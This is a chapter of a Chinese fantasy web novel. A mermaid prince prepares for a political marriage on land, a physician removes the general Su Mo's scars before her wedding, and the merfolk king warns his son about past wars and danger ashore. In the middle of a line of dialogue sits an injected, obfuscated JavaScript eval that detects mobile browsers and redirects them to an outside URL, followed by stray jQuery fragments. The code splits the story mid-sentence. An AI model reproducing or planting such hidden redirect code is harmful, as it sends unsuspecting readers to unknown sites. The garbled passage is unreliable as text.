人在失去希望又备受打击的时候,格外容易感到疲惫。
随着离上岸的日子越来越近,星时在海洞里睡眠的时间越来越长。
小火觉得这样也不错,起码对身体好,他共鸣着也觉着平稳安定。
前几日星时情绪波动太大,有一点极喜,大多是阴郁,又或是间歇性地大睁着眼抱着自己的身体颤抖,脸上竟是不敢相信自己在做什么的样子,完全不睡。
看得小火好几次都忍不住想说,要不咱还是反悔吧,不过终究还是没说。他一直没问星时改变念头的原因,他没敢问。
毕竟上岸联姻是现在星时身体复原唯一的希望,哪怕要为此付上牺牲爱情的代价。
好歹现在能睡个好觉了,小火也跟着放松精神,星时睡多久,他也在一旁睡多久。
丹橘府那边的苏莫,在忙完了诸多事项只剩等待的时候,一种无助和郁闷的思绪也袭上心头。
苏莫拉了把野外用的交椅坐在碧湖的旁边,看着柳丝垂下,看着绿色的湖水在阳光下泛着宝石般的波光,她随即放空了自己的脑子。
明明有记忆的光阴只活了十年,现在却好像变成老奶奶一样悠闲安静了。
江南除了第一日走路有点别扭的时候对她有点凶,后面几天则都是温柔体贴,无论苏莫有什么要求,都尽力满足、不再毒舌。看苏莫的眼神如小狗般闪烁,比起忠诚更多的是不舍的依赖。反常到苏莫起鸡皮疙瘩。
在苏莫又在湖边休息看着水波发呆时,着一身葡青的江南笑脸盈盈地出现在她身边,
“苏莫!好时光不要浪费,走!陪我去打扫兽栏!”
“哈?”苏莫抬眉。
王宫殿里的御书房,国主罕见宣了颜安青,吩咐他在婚礼前,去了苏莫一身的伤疤,毕竟要代表一国的颜面。
原来苏莫全身的伤疤是十年前国主特意让神医山留的,本是为了让苏莫长记性用。
“小的明白。小的会尽力办好。”颜安青承命,拱手退下。
又一两日,苏莫被召上了神医山,苏莫见到在山门口独自等她的颜安青,如蒙大赦。
“多谢先生救我!”苏莫一脸哭相,迎上颜安青。
“小莫,你这是咋啦?”看到苏莫少见犯窘的样子,颜安青忍俊不禁,上前扶住苏莫的手臂,留意到她双手泛红。
“我们家江南疯了,这两天我整整刷了三百匹战马啊……”苏莫做出凄惶的样子,一脸有家再也不回、我总算逃出来了的表情。
颜安青噗嗤笑了,“好了,一会儿上山休息会儿吧。我给你整点药。”
及至上了山,茅椽蓬牖,几间草屋安静散落,花篱环绕,小鸟歌唱,这是颜安青平时的住处。
苏莫有点惊讶。颜安青嗔怪,“小时候不就是在这里吗?不会这也忘了吧?”
“不是,我只是在想,这些年颜先生从晚生这儿攒的那么多钱都拿去干嘛了?”
从苏莫伤好之后,颜安青连年各种由头追讨要了各种医药费。
高低也没有改善下生活啊。
“广厦千间,夜眠八尺。说了你也不懂。”
“哦。”苏莫无感。
“我就是喜欢数钱听响,不行吗?”
“行!”
二人进了草屋,颜安青安置苏莫炕上休息,苏莫见房屋虽小五脏俱全,各色架子上尽是医书、杂书、器具,另有专门存药的房间,一小童前来奉茶。
终于又能歇会儿了。这里实在让人心安。
国主说要去掉苏莫的伤疤,苏莫一开始是抗拒的,毕竟已经跟了十年,这伤疤在军中很实用,能吓人。
“再过两日就要嫁人了,国主是怕你把世子吓坏了。”颜安青准备好了刀具药膏,用白布蒙眼。
“不是,颜先生!”苏莫见这架势有些惊异,“这点小事何劳先生亲自动手!神医山不是还有女先生嘛?”
“我不会占你便宜的。小时候内脏都见过了。”颜安青捆紧眼上白布,一手拿刀,“神医山这里只有活人死人的区别。”
苏莫吓得咧着嘴笑,“我对先生的医术人品绝对信得过!只是您这样蒙眼拿刀,我实在是……不能不怕……”
“那小的实在太荣幸了,竟然有朝一日还能吓到‘将军’。”颜安青讪笑,“你放心,就是闭着眼,我也是这儿技术最好的。你不会有任何感觉的。”
“是吗……”
苏莫只得让颜安青动手,他先从胳膊开始去疤,不知是涂了药还是手法法术,苏莫觉得他刮的不是肉,而仅仅是死皮。
一开始的惧怕很快变成了盯着窗洞阳光、竹影斑驳的百无聊赖,苏莫不禁犯困打起了哈欠。
“如果苏寻还在的话,他一定是希望你嫁个自己喜欢的人。”颜安青一边工作一边说道。
“哦,”苏莫双眼犯困,迷茫问道,“您的意思是……他死了吗?”
胳膊上的刀一停,“不是,不是,”颜安青后身一紧,恢复一脸傻笑,刚刚的帅气一扫而空,“我是说,如果他今日还在这里的话……”
颜安青也不知道苏寻是否还活着,毕竟没了飞羽翼,他双臂的腐蚀会不会扩散也是个问题。
九年前在神医山,颜安青最后一次见苏寻,他双眼含泪,“颜先生您太惨了,我绝对不要变成像你一样!如果国主在我和苏莫之间选了我,那我就要选苏莫!”
“那您觉得……后日‘大婚’的时候,他会来吗?”
苏莫对哥哥的印象很浅,唯有几次是他抱着还裹在“棒槌”里的自己哭。
可能我对这人很重要吧。苏莫当时这样想。
最后一次的印象是睡得朦胧的深夜,当时苏莫迷迷糊糊地看见苏寻立在床边,
“苏莫!哥哥今日给你报仇了!你放心,以后再没有人会害你了!”
什么仇?在说啥?
“可哥哥现在要走了……”那虚晃的身影又泫然欲泣,“你就把我忘了吧!越干净……越好!”
“哦,哥哥慢走。”苏莫眼睛睁得都费劲。
最后的印象太模糊,以至于苏莫都无法分辨是梦还是现实。
颜安青苦笑回复,“这我真的不知道。”
“等他回来,就把飞羽翼还给他……”颜安青的手法太轻,苏莫犯困囫囵睡了。
及至苏莫再醒,发现自己正舒舒服服地睡在暖炕上,衣衫平整,盖着薄毯。再看周身凸起的伤疤已无,被晒黑的外露的部分也恢复了原先的颜色。
简直像是为其个性化定制的炫技,苏莫在阳光下看到曾经有伤疤的地方在某些角度会微微泛着光,在雪白的皮肤上隐隐约约很是好看。
“颜先生真乃华佗在世、整容圣手!”苏莫很兴奋地笑了,“先生靠这招发家致富指日可待!”
一边的狭海城,星时睡在海洞悬崖边上,察觉到有人在摸自己的头。
“嗯?”他双目微启,看见人鱼王正坐在海洞边上,一脸慈爱地看着他。
“父亲!”星时挣起身来,瞬间施了幻象术,打量到一旁小火还在沉睡。
“在我面前不必这样,我并没有嫌弃你啊。”
“累的话就多睡会儿吧,明天就要启程了。”人鱼王的声音满是温和,“你母亲舍不得你,到现在还在怨我,所以只有我来了。”
星时闻言眉间微蹙,一脸伤感。
“那日对你施术,你会恨我吗
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15443214|169397||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?”
回望父亲如山的眼神,星时慢慢摇头,“不会,是我自己选的。”
“星时,你知道,为什么十个孩子中,我和你母亲都最喜欢你吗?”
“嗯……”星时不好意思地低头,嘴角微扯,“难道是因为我……的长相吗?”
“哈哈哈,”人鱼王爽朗笑了,“确实有这个原因。”
星时闻言不由得撇嘴。
“你从小就和别的人鱼不一样,大家都是只有出生的时候眼睛才是宝蓝色的,而你一直都是……”
“诶?”星时惊讶,他已经很多年没有观察过自己的眼睛了。
“……直到你被海怪咬伤之前。”人鱼王笑容中带上苦涩,“人鱼只有在非常快乐的时候,眼睛才会变蓝,可你却一直都是。有时,我想,也许你是很开心来到这个世上的吧。虽然你的想法总是很另类,但是也许和大家相比,你的快乐也更真实吧。”
“父亲,您在说什么……”星时更是不好意思。
“如果血鸳法术成功,为你再塑一人身,”人鱼王目光温和,“也许你就能摆脱我族的咒诅,到时就勇敢地去找你爱的人吧。”
星时大睁双眼,大气不敢喘,“父亲!我我没有!”
什么时候……怎么会……
“你不是……一直在等船吗?”人鱼王笑道,“如果是我误会了,那就祝你成为一个快乐的航船建造师吧!”
星时心下一紧,如被攥得生疼,满面通红,别过头去,目光闪烁,不敢望向父亲。
“只是星时,岸上的事有时也不都是那么简单。你还记得自己被困在岸上的经历吗?”
“记得不是……不是很清楚。”星时如实说道。
“那你记得你逃回来那天,岸上有场大火吗?”
星时发愣,摇头,“我只记得有几团小火。”
“是的,开始是小火,后来变成了火爆。那不是一般的火。”人鱼王正色道。
“是法术的火?”
“是火药的火。准确说是岸上船帮储存的军火炸了。”
“军……军火?”
“你走丢的那年,扶桑国沿山边境正在打仗,船帮可以走海路抄近道把物资运到前线。只是当时扶桑国战事吃紧,船帮却并不发船。”
“他们为什么……要这样?”
人鱼王摇头,“可能是要内战吧。”
“内战?!”
“我们怀疑当年扶桑国国主是派人去销毁了船帮存的军火。只是不知道,为什么那日,你竟也趁乱逃回来了。”
星时闻言后颈发凉,渗出冷汗。
“这事不到一年,船帮就覆灭了。我们那时哪怕是想给你报仇,也没有机会了。”
“父亲……我……”
“星时,若是血鸳成功,你不仅是会变成一个新人,也变成了海长城的替身。你在,海长城结界就在,全族就多一分保护,狭海城和扶桑国的盟约就在。”
“现在扶桑国国主为了这个缘故,会拼命保住你。只是岸上的人可能不都会这么想。所以,你在岸上,不能只想着情爱,总要凡事小心!你要想着保全自己和你的同族!”
星时双目大睁,意识到了什么。
“父亲!我不行的!您给的这个担子太重了,我承担不了!我不去了!”星时脸色煞白,双手抓着人鱼王的手臂,“我一定会失败的!我死不要紧,可是……!”
如果海长城先立再废,人鱼族就会成为海里的活靶子。
“……星时。”人鱼王皱眉,反抓星时的手臂,正视着星时颤抖的瞳仁,神色复杂,良久他说,
“你可以试着,为你爱的人再勇敢一些!”